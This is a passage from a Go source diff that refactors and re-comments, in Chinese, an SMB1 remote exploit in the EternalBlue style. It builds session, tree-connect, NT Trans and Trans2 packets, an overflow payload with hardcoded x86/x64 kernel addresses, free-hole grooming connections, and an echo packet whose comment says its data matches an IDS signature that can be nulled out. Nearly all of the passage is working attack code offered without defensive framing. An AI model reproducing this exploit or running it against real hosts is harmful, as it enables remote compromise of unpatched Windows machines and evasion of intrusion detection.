nil { + return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) } + + // 构造SMB协议头 + if err := writeSMBLoginHeader(&buf); err != nil { + return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造会话设置请求 + if err := writeSessionSetupRequest(&buf); err != nil { + return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err) + } + + // 获取响应 return smb1GetResponse(conn) } -// skip smb header, word count, AndXCommand, Reserved, -// AndXOffset, Action, Byte count and a magic 0x41 (A) +// writeNetBIOSLoginHeader 写入NetBIOS会话服务头 +func writeNetBIOSLoginHeader(buf *bytes.Buffer) error { + // 消息类型: Session Message + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x88}) + return nil +} + +// writeSMBLoginHeader 写入SMB协议头 +func writeSMBLoginHeader(buf *bytes.Buffer) error { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: Session Setup AndX + buf.WriteByte(0x73) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 签名2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) + return nil +} + +// writeSessionSetupRequest 写入会话设置请求 +func writeSessionSetupRequest(buf *bytes.Buffer) error { + // 字段数 + buf.WriteByte(0x0D) + // 无后续命令 + buf.WriteByte(0xFF) + // 保留字段 + buf.WriteByte(0x00) + // AndX偏移 + buf.Write([]byte{0x88, 0x00}) + // 最大缓冲区 + buf.Write([]byte{0x04, 0x11}) + // 最大并发数 + buf.Write([]byte{0x0A, 0x00}) + // VC编号 + buf.Write([]byte{0x00, 0x00}) + // 会话密钥 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // ANSI密码长度 + buf.Write([]byte{0x01, 0x00}) + // Unicode密码长度 + buf.Write([]byte{0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 功能标志 + buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) + // 字节数 + buf.Write([]byte{0x4b, 0x00}) + + // 认证信息 + buf.WriteByte(0x00) // ANSI密码 + buf.Write([]byte{0x00, 0x00}) // 账户名 + buf.Write([]byte{0x00, 0x00}) // 域名 + + // 写入操作系统信息 + writeOSInfo(buf) + + return nil +} + +// writeOSInfo 写入操作系统信息 +func writeOSInfo(buf *bytes.Buffer) { + // 原生操作系统: Windows 2000 2195 + osInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x31, 0x00, 0x39, 0x00, 0x35, 0x00, 0x00, 0x00} + buf.Write(osInfo) + + // 原生LAN Manager: Windows 2000 5.0 + lanInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x35, 0x00, + 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00} + buf.Write(lanInfo) +} + +// getOSName 从SMB响应中提取操作系统名称 +// 跳过SMB头部、字数统计、AndX命令、保留字段、AndX偏移量、操作标志、字节数以及魔数0x41(A) func getOSName(raw []byte) (string, error) { + // 创建缓冲区存储操作系统名称 osBuf := bytes.Buffer{} + + // 创建读取器,定位到操作系统名称开始位置 reader := bytes.NewReader(raw[smbHeaderSize+10:]) + + // 读取UTF-16编码的操作系统名称 char := make([]byte, 2) for { - _, err := io.ReadFull(reader, char) - if err != nil { - return "", err + if _, err := io.ReadFull(reader, char); err != nil { + return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err) } + + // 遇到结束符(0x00 0x00)时退出 if bytes.Equal(char, []byte{0x00, 0x00}) { break } + osBuf.Write(char) } - osBufLen := osBuf.Len() - osName := make([]byte, 0, osBufLen/2) - b := osBuf.Bytes() - for i := 0; i < osBufLen; i += 2 { - osName = append(osName, b[i]) + + // 将UTF-16编码转换为ASCII编码 + bufLen := osBuf.Len() + osName := make([]byte, 0, bufLen/2) + rawBytes := osBuf.Bytes() + + // 每隔两个字节取一个字节(去除UTF-16的高字节) + for i := 0; i < bufLen; i += 2 { + osName = append(osName, rawBytes[i]) } + return string(osName), nil } +// treeConnectAndX 执行SMB树连接请求 func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + if err := writeNetBIOSTreeHeader(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + } - // message type + // 构造SMB协议头 + if err := writeSMBTreeHeader(&buf, userID); err != nil { + return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造树连接请求 + if err := writeTreeConnectRequest(&buf, address); err != nil { + return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err) + } + + // 更新数据包大小 + updatePacketSize(&buf) + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err) + } + + // 获取响应 + _, header, err := smb1GetResponse(conn) + if err != nil { + return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err) + } + + return header, nil +} + +// writeNetBIOSTreeHeader 写入NetBIOS会话服务头 +func writeNetBIOSTreeHeader(buf *bytes.Buffer) error { + // 消息类型 buf.WriteByte(0x00) - // length, it will changed at the end of the function + // 长度(稍后更新) buf.Write([]byte{0x00, 0x00, 0x00}) + return nil +} - // --------Server Message Block Protocol-------- - - // server component +// writeSMBTreeHeader 写入SMB协议头 +func writeSMBTreeHeader(buf *bytes.Buffer, userID uint16) error { + // SMB标识 buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // smb command: Tree Connect AndX + // 命令: Tree Connect AndX buf.WriteByte(0x75) - // NT status + // NT状态码 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags + // 标志位 buf.WriteByte(0x18) - // flags2 + // 标志位2 buf.Write([]byte{0x01, 0x20}) - // process id high + // 进程ID高位 buf.Write([]byte{0x00, 0x00}) - // signature + // 签名 buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) - // reserved + // 保留字段 buf.Write([]byte{0x00, 0x00}) - // tree id + // 树ID buf.Write([]byte{0x00, 0x00}) - // process id + // 进程ID buf.Write([]byte{0x2F, 0x4B}) - // user id + // 用户ID userIDBuf := make([]byte, 2) binary.LittleEndian.PutUint16(userIDBuf, userID) buf.Write(userIDBuf) - // multiplex id + // 多路复用ID buf.Write([]byte{0xC5, 0x5E}) + return nil +} - // --------Tree Connect AndX Request-------- - - // word count +// writeTreeConnectRequest 写入树连接请求 +func writeTreeConnectRequest(buf *bytes.Buffer, address string) error { + // 字段数 buf.WriteByte(0x04) - // AndXCommand: No further commands + // 无后续命令 buf.WriteByte(0xFF) - // reserved + // 保留字段 buf.WriteByte(0x00) - // AndXOffset + // AndX偏移 buf.Write([]byte{0x00, 0x00}) - // flags + // 标志位 buf.Write([]byte{0x00, 0x00}) - // password length + // 密码长度 buf.Write([]byte{0x01, 0x00}) - // byte count + // 字节数 buf.Write([]byte{0x1A, 0x00}) - // password + // 密码 buf.WriteByte(0x00) - // IPC + + // IPC路径 host, _, err := net.SplitHostPort(address) if err != nil { - return nil, err + return fmt.Errorf("[-] 解析地址失败: %v", err) } - _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) - // null byte after ipc added by kev + _, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host) + + // IPC结束符 buf.WriteByte(0x00) - // service + // 服务类型 buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) - // update packet size + return nil +} + +// updatePacketSize 更新数据包大小 +func updatePacketSize(buf *bytes.Buffer) { b := buf.Bytes() sizeBuf := make([]byte, 4) binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) copy(b[1:], sizeBuf[1:]) - - // send packet - _, err = buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err } +// smb1LargeBuffer 发送大缓冲区数据包 func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { + // 发送NT Trans请求获取事务头 transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) if err != nil { - return fmt.Errorf("failed to send nt trans: %s", err) + return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) } - // initial trans2 request + treeID := transHeader.TreeID userID := transHeader.UserID - trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") - // send all but the last packet + + // 构造数据包 + var transPackets []byte + + // 添加初始Trans2请求包 + initialPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") + transPackets = append(transPackets, initialPacket...) + + // 添加中间的Trans2数据包 for i := 1; i < 15; i++ { packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") - trans2Packet = append(trans2Packet, packet...) + transPackets = append(transPackets, packet...) } - smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) - trans2Packet = append(trans2Packet, smb1EchoPacket...) - _, err = conn.Write(trans2Packet) - if err != nil { - return fmt.Errorf("failed to send large buffer: %s", err) + // 添加Echo数据包 + echoPacket := makeSMB1EchoPacket(treeID, userID) + transPackets = append(transPackets, echoPacket...) + + // 发送组合数据包 + if _, err := conn.Write(transPackets); err != nil { + return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err) } - _, _, err = smb1GetResponse(conn) - return err + + // 获取响应 + if _, _, err := smb1GetResponse(conn); err != nil { + return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err) + } + + return nil } +// sendNTTrans 发送NT Trans请求 func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + if err := writeNetBIOSNTTransHeader(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + } - // message type + // 构造SMB协议头 + if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil { + return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造NT Trans请求 + if err := writeNTTransRequest(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) + } + + // 获取响应 + _, header, err := smb1GetResponse(conn) + if err != nil { + return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err) + } + + return header, nil +} + +// writeNetBIOSNTTransHeader 写入NetBIOS会话服务头 +func writeNetBIOSNTTransHeader(buf *bytes.Buffer) error { + // 消息类型 buf.WriteByte(0x00) - // length + // 长度 buf.Write([]byte{0x00, 0x04, 0x38}) + return nil +} - // --------Server Message Block Protocol-------- - - // SMB1 +// writeSMBNTTransHeader 写入SMB协议头 +func writeSMBNTTransHeader(buf *bytes.Buffer, treeID, userID uint16) error { + // SMB标识 buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // NT Trans + // 命令: NT Trans buf.WriteByte(0xA0) - // NT success + // NT状态码 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags + // 标志位 buf.WriteByte(0x18) - // flags2 + // 标志位2 buf.Write([]byte{0x07, 0xC0}) - // PID high + // 进程ID高位 buf.Write([]byte{0x00, 0x00}) - // signature1 + // 签名1 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 + // 签名2 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved + // 保留字段 buf.Write([]byte{0x00, 0x00}) - // tree id + + // 树ID treeIDBuf := make([]byte, 2) binary.LittleEndian.PutUint16(treeIDBuf, treeID) buf.Write(treeIDBuf) - // PID + + // 进程ID buf.Write([]byte{0xFF, 0xFE}) - // user id + + // 用户ID userIDBuf := make([]byte, 2) binary.LittleEndian.PutUint16(userIDBuf, userID) buf.Write(userIDBuf) - // multiplex id + + // 多路复用ID buf.Write([]byte{0x40, 0x00}) + return nil +} - // --------NT Trans Request-------- - - // word count +// writeNTTransRequest 写入NT Trans请求 +func writeNTTransRequest(buf *bytes.Buffer) error { + // 字段数 buf.WriteByte(0x14) - // max setup count + // 最大设置数 buf.WriteByte(0x01) - // reserved + // 保留字段 buf.Write([]byte{0x00, 0x00}) - // total param count + // 总参数数 buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // total data count + // 总数据数 buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) - // max param count + // 最大参数数 buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // max data count + // 最大数据数 buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // param count + // 参数数 buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) - // param offset + // 参数偏移 buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) - // data count + // 数据数 buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) - // data offset + // 数据偏移 buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) - // setup count + // 设置数 buf.WriteByte(0x01) - // function + // 未知功能 buf.Write([]byte{0x00, 0x00}) - // unknown NT transaction (0) setup + // 未知NT事务设置 buf.Write([]byte{0x00, 0x00}) - // byte count + // 字节数 buf.Write([]byte{0xEC, 0x03}) - // NT parameters + + // NT参数 buf.Write(makeZero(0x1F)) - // undocumented + // 未文档化字段 buf.WriteByte(0x01) buf.Write(makeZero(0x03CD)) - // send packet - _, err := buf.WriteTo(conn) - if err != nil { - return nil, err - } - _, header, err := smb1GetResponse(conn) - return header, err + return nil } +// makeSMB1Trans2ExploitPacket 创建SMB1 Trans2利用数据包 func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { + // 计算超时值 timeout = timeout*0x10 + 3 buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + writeNetBIOSTrans2Header(&buf) - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x10, 0x35}) + // 构造SMB协议头 + writeSMBTrans2Header(&buf, treeID, userID) - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Trans2 request - buf.WriteByte(0x33) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) + // 构造Trans2请求 + writeTrans2RequestHeader(&buf, timeout) - // --------Trans2 Second Request-------- + // 根据类型添加特定数据 + writeTrans2PayloadByType(&buf, typ) - // word count - buf.WriteByte(0x09) - // total param count - buf.Write([]byte{0x00, 0x00}) - // total data count - buf.Write([]byte{0x00, 0x10}) - // max param count - buf.Write([]byte{0x00, 0x00}) - // max data count - buf.Write([]byte{0x00, 0x00}) - // max setup count - buf.WriteByte(0x00) - // reserved - buf.WriteByte(0x00) - // flags - buf.Write([]byte{0x00, 0x10}) - // timeouts - buf.Write([]byte{0x35, 0x00, 0xD0}) - // timeout is a single int - buf.WriteByte(byte(timeout)) - // reserved - buf.Write([]byte{0x00, 0x00}) - // parameter count - buf.Write([]byte{0x00, 0x10}) - - switch typ { - case "exploit": - // overflow - buf.Write(bytes.Repeat([]byte{0x41}, 2957)) - buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) - - buf.Write(makeZero(0x10)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x06)) - buf.Write([]byte{0xFF, 0xFF}) - buf.Write(makeZero(0x16)) - - // x86 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) - - // x64 addresses - buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x04)) - - buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) - - buf.Write(makeZero(0x04)) - buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x10)) - - buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) - buf.Write(makeZero(0x0C)) - buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x80, 0x10}) - buf.Write(makeZero(0x0E)) - buf.WriteByte(0x39) - buf.WriteByte(0xBB) - - buf.Write(bytes.Repeat([]byte{0x41}, 965)) - case "zero": - buf.Write(makeZero(2055)) - buf.Write([]byte{0x83, 0xF3}) - - buf.Write(bytes.Repeat([]byte{0x41}, 2039)) - default: - buf.Write(bytes.Repeat([]byte{0x41}, 4096)) - } return buf.Bytes() } +// writeNetBIOSTrans2Header 写入NetBIOS会话服务头 +func writeNetBIOSTrans2Header(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x10, 0x35}) +} + +// writeSMBTrans2Header 写入SMB协议头 +func writeSMBTrans2Header(buf *bytes.Buffer, treeID, userID uint16) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Trans2请求 + buf.WriteByte(0x33) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + + // 树ID + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + + // 用户ID + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeTrans2RequestHeader 写入Trans2请求头 +func writeTrans2RequestHeader(buf *bytes.Buffer, timeout int) { + // 字段数 + buf.WriteByte(0x09) + // 总参数数 + buf.Write([]byte{0x00, 0x00}) + // 总数据数 + buf.Write([]byte{0x00, 0x10}) + // 最大参数数 + buf.Write([]byte{0x00, 0x00}) + // 最大数据数 + buf.Write([]byte{0x00, 0x00}) + // 最大设置数 + buf.WriteByte(0x00) + // 保留字段 + buf.WriteByte(0x00) + // 标志位 + buf.Write([]byte{0x00, 0x10}) + // 超时设置 + buf.Write([]byte{0x35, 0x00, 0xD0}) + buf.WriteByte(byte(timeout)) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 参数数 + buf.Write([]byte{0x00, 0x10}) +} + +// writeTrans2PayloadByType 根据类型写入负载数据 +func writeTrans2PayloadByType(buf *bytes.Buffer, typ string) { + switch typ { + case "exploit": + writeExploitPayload(buf) + case "zero": + writeZeroPayload(buf) + default: + // 默认填充 + buf.Write(bytes.Repeat([]byte{0x41}, 4096)) + } +} + +// writeExploitPayload 写入exploit类型负载 +func writeExploitPayload(buf *bytes.Buffer) { + // 溢出数据 + buf.Write(bytes.Repeat([]byte{0x41}, 2957)) + buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) + + // 固定格式数据 + buf.Write(makeZero(0x10)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x06)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x16)) + + // x86地址 + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) + + // x64地址 + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + + // 后续数据 + writeExploitTrailingData(buf) +} + +// writeExploitTrailingData 写入exploit类型的尾部数据 +func writeExploitTrailingData(buf *bytes.Buffer) { + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x10)) + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x0C)) + buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x80, 0x10}) + buf.Write(makeZero(0x0E)) + buf.Write([]byte{0x39, 0xBB}) + buf.Write(bytes.Repeat([]byte{0x41}, 965)) +} + +// writeZeroPayload 写入zero类型负载 +func writeZeroPayload(buf *bytes.Buffer) { + buf.Write(makeZero(2055)) + buf.Write([]byte{0x83, 0xF3}) + buf.Write(bytes.Repeat([]byte{0x41}, 2039)) +} + +// makeSMB1EchoPacket 创建SMB1 Echo数据包 func makeSMB1EchoPacket(treeID, userID uint16) []byte { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + writeNetBIOSEchoHeader(&buf) - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x31}) + // 构造SMB协议头 + writeSMBEchoHeader(&buf, treeID, userID) - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Echo - buf.WriteByte(0x2B) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write([]byte{0x07, 0xC0}) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - treeIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(treeIDBuf, treeID) - buf.Write(treeIDBuf) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - userIDBuf := make([]byte, 2) - binary.LittleEndian.PutUint16(userIDBuf, userID) - buf.Write(userIDBuf) - // multiplex id - buf.Write([]byte{0x40, 0x00}) - - // --------Echo Request-------- - - // word count - buf.WriteByte(0x01) - // echo count - buf.Write([]byte{0x01, 0x00}) - // byte count - buf.Write([]byte{0x0C, 0x00}) - // echo data - // this is an existing IDS signature, and can be null out - buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) + // 构造Echo请求 + writeEchoRequest(&buf) return buf.Bytes() } +// writeNetBIOSEchoHeader 写入NetBIOS会话服务头 +func writeNetBIOSEchoHeader(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x31}) +} + +// writeSMBEchoHeader 写入SMB协议头 +func writeSMBEchoHeader(buf *bytes.Buffer, treeID, userID uint16) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Echo命令 + buf.WriteByte(0x2B) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + + // 树ID + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + + // 用户ID + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeEchoRequest 写入Echo请求 +func writeEchoRequest(buf *bytes.Buffer) { + // 字段数 + buf.WriteByte(0x01) + // Echo计数 + buf.Write([]byte{0x01, 0x00}) + // 字节数 + buf.Write([]byte{0x0C, 0x00}) + // Echo数据(IDS签名,可置空) + buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) +} + +// smb1FreeHole 创建SMB1内存释放漏洞连接 func smb1FreeHole(address string, start bool) (net.Conn, error) { - conn, err := net.Dial("tcp", address) + // 建立TCP连接 + conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("failed to connect host: %s", err) + return nil, fmt.Errorf("[-] 连接目标失败: %v", err) } + + // 连接状态标记 var ok bool defer func() { if !ok { _ = conn.Close() } }() - err = smbClientNegotiate(conn) - if err != nil { - return nil, fmt.Errorf("failed to negotiate: %s", err) + + // SMB协议协商 + if err = smbClientNegotiate(conn); err != nil { + return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) } - var ( - flags2 []byte - vcNum []byte - nativeOS []byte - ) + + // 根据开始/结束标志设置不同参数 + var flags2, vcNum, nativeOS []byte if start { flags2 = []byte{0x07, 0xC0} vcNum = []byte{0x2D, 0x01} @@ -867,179 +1127,234 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) { vcNum = []byte{0x2C, 0x01} nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} } + + // 构造并发送会话数据包 packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) - _, err = conn.Write(packet) - if err != nil { - const format = "failed to send smb1 free hole session packet: %s" - return nil, fmt.Errorf(format, err) + if _, err = conn.Write(packet); err != nil { + return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err) } - _, _, err = smb1GetResponse(conn) - if err != nil { - return nil, err + + // 获取响应 + if _, _, err = smb1GetResponse(conn); err != nil { + return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err) } + ok = true return conn, nil } +// makeSMB1FreeHoleSessionPacket 创建SMB1内存释放会话数据包 func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { buf := bytes.Buffer{} - // --------NetBIOS Session Service-------- + // 构造NetBIOS会话服务头 + writeNetBIOSFreeHoleHeader(&buf) - // message type - buf.WriteByte(0x00) - // length - buf.Write([]byte{0x00, 0x00, 0x51}) + // 构造SMB协议头 + writeSMBFreeHoleHeader(&buf, flags2) - // --------Server Message Block Protocol-------- - // SMB1 - buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) - // Session Setup AndX - buf.WriteByte(0x73) - // NT success - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // flags - buf.WriteByte(0x18) - // flags2 - buf.Write(flags2) - // PID high - buf.Write([]byte{0x00, 0x00}) - // signature1 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // signature2 - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00}) - // tree id - buf.Write([]byte{0x00, 0x00}) - // PID - buf.Write([]byte{0xFF, 0xFE}) - // user id - buf.Write([]byte{0x00, 0x00}) - // multiplex id - buf.Write([]byte{0x40, 0x00}) + // 构造会话设置请求 + writeSessionSetupFreeHoleRequest(&buf, vcNum, nativeOS) - // --------Session Setup AndX Request-------- - - // word count - buf.WriteByte(0x0C) - // no further commands - buf.WriteByte(0xFF) - // reserved - buf.WriteByte(0x00) - // AndX offset - buf.Write([]byte{0x00, 0x00}) - // max buffer - buf.Write([]byte{0x04, 0x11}) - // max mpx count - buf.Write([]byte{0x0A, 0x00}) - // VC number - 